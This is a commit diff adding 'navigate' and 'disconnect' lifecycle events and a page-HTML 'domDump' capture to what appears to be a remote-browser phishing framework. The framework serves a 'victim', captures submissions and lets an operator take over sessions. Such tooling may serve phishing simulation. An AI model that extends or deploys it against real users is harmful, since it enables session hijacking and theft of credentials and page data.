add rbp lifecycle events

Signed-off-by: Ronni Skansing <rskansing@gmail.com>
This commit is contained in:
Ronni Skansing
2026-05-28 18:44:36 +02:00
parent 31412e74e7
commit c76f8176bf
5 changed files with 79 additions and 8 deletions
+27 -3
View File
@@ -586,6 +586,10 @@ func (m *RemoteBrowserController) ServeVictim(g *gin.Context) {
_, msg, err := conn.ReadMessage()
if err != nil {
sess.victimConnected.Store(false)
select {
case runner.Incoming <- remotebrowser.IncomingMsg{Event: "disconnect"}:
default:
}
// keepAlive: browser is parked for operator takeover — a victim
// disconnect must not kill the session, the operator still needs it.
if !sess.isKeepAlive.Load() {
@@ -671,14 +675,34 @@ func (m *RemoteBrowserController) ServeVictim(g *gin.Context) {
go runner.Run(ctx) //nolint:errcheck
// As soon as the browser spawns, mark the session as streamable and apply
// the victim viewport if it was already received before the browser was ready.
// As soon as the browser spawns, mark the session as streamable, apply the
// victim viewport, and subscribe to navigation events so the script can react
// via s.on("navigate", fn).
go func() {
select {
case <-ctx.Done():
case page := <-runner.BrowserCh:
sess.setBrowserPage(page)
applyViewport(page)
wait := page.EachEvent(
func(e *proto.PageFrameNavigated) (stop bool) {
if e.Frame != nil && e.Frame.ParentID == "" {
select {
case runner.Incoming <- remotebrowser.IncomingMsg{Event: "navigate", Data: map[string]string{"url": e.Frame.URL}}:
default:
}
}
return
},
func(e *proto.PageNavigatedWithinDocument) (stop bool) {
select {
case runner.Incoming <- remotebrowser.IncomingMsg{Event: "navigate", Data: map[string]string{"url": e.URL}}:
default:
}
return
},
)
go wait()
}
}()
@@ -767,7 +791,7 @@ func (m *RemoteBrowserController) ServeVictim(g *gin.Context) {
processEvent(evt)
if evt.Type == "log" || evt.Type == "capture" || evt.Type == "submit" ||
evt.Type == "keep_alive" || evt.Type == "info" || evt.Type == "error" ||
evt.Type == "screenshot" {
evt.Type == "screenshot" || evt.Type == "dom_dump" {
continue
}
payload, err := json.Marshal(map[string]interface{}{
+24
View File
@@ -1299,6 +1299,30 @@ func RegisterBrowserBindings(vm *goja.Runtime, pc *goja.Object, page *rod.Page,
return goja.Undefined()
})
pc.Set("domDump", func(call goja.FunctionCall) goja.Value {
name := argStr(call.Argument(0))
dbg("→ domDump " + name)
rPage, rCancel := readPage()
defer rCancel()
info, _ := rPage.Info()
html, err := rPage.HTML()
if err != nil {
if emitter != nil {
emitter.log(fmt.Sprintf("[domDump] %s: %s", name, err))
}
return goja.Undefined()
}
pageURL := ""
if info != nil {
pageURL = info.URL
}
if emitter != nil {
emitter.domDump(name, html, pageURL)
}
dbg(fmt.Sprintf("✓ domDump %s (%d bytes)", name, len(html)))
return goja.Undefined()
})
pc.Set("setViewport", func(call goja.FunctionCall) goja.Value {
w := call.Argument(0).ToInteger()
h := call.Argument(1).ToInteger()
+11 -1
View File
@@ -8,7 +8,7 @@ import (
// RunEvent is an event emitted during script execution.
type RunEvent struct {
Type string `json:"type"` // "event", "log", "error", "done", "capture", "screenshot", "info", "submit"
Type string `json:"type"` // "event", "log", "error", "done", "capture", "screenshot", "dom_dump", "info", "submit"
Key string `json:"key,omitempty"` // for type=event/screenshot (label)
Value any `json:"value,omitempty"` // for type=event/capture/screenshot/submit (base64 data URI or arbitrary data)
URL string `json:"url,omitempty"` // for type=screenshot (page URL at capture time)
@@ -74,6 +74,16 @@ func (e *channelEmitter) capture(data interface{}) {
})
}
func (e *channelEmitter) domDump(label string, html string, pageURL string) {
e.send(RunEvent{
Type: "dom_dump",
Key: label,
Value: html,
URL: pageURL,
Time: time.Now().UTC().Format(time.RFC3339Nano),
})
}
func (e *channelEmitter) info(msg string) {
e.send(RunEvent{
Type: "info",
+3
View File
@@ -764,6 +764,9 @@ func (r *Runner) Run(ctx context.Context) error {
})
// Event-driven API: s.on(event, fn) + s.listen() + s.done()
// Built-in lifecycle events emitted by the server:
// "disconnect" — victim WebSocket connection dropped
// "navigate" — main frame navigated; data: { url: string }
handlers := map[string]goja.Callable{}
listenDone := make(chan struct{}, 1)
@@ -485,11 +485,19 @@ interface Session {
close(): void;
// ── Event-driven API ─────────────────────────────────────────────────────
/** Register a handler called when the victim page sends this event */
/**
* Register a handler for a named event. Must be called before s.listen().
*
* Built-in lifecycle events emitted automatically by the server:
* - `"disconnect"` — victim closed their browser or navigated away; no data
* - `"navigate"` — main frame navigated to a new URL; data: `{ url: string }`
*
* All other event names are victim-page events sent via `rb.emit(name, data)`.
*/
on(event: string, handler: (data: any) => void): void;
/** Start processing incoming victim events; blocks until done() is called */
/** Start processing incoming events; blocks until done() is called */
listen(): void;
/** Signal listen() to stop processing */
/** Exit the listen() loop */
done(): void;
// ── Race ──────────────────────────────────────────────────────────────────
@@ -584,9 +592,11 @@ interface FrameSession {
// ── JavaScript evaluation ─────────────────────────────────────────────────
evaluate(expression: string): any;
// ── Screenshots ───────────────────────────────────────────────────────────
// ── Screenshots & DOM capture ────────────────────────────────────────────
screenshot(name: string): void;
screenshotElement(selector: string, name: string): void;
/** Capture the full page HTML and emit it as a named dom_dump event for debugging */
domDump(name: string): void;
// ── Viewport & emulation ─────────────────────────────────────────────────
setViewport(width: number, height: number): void;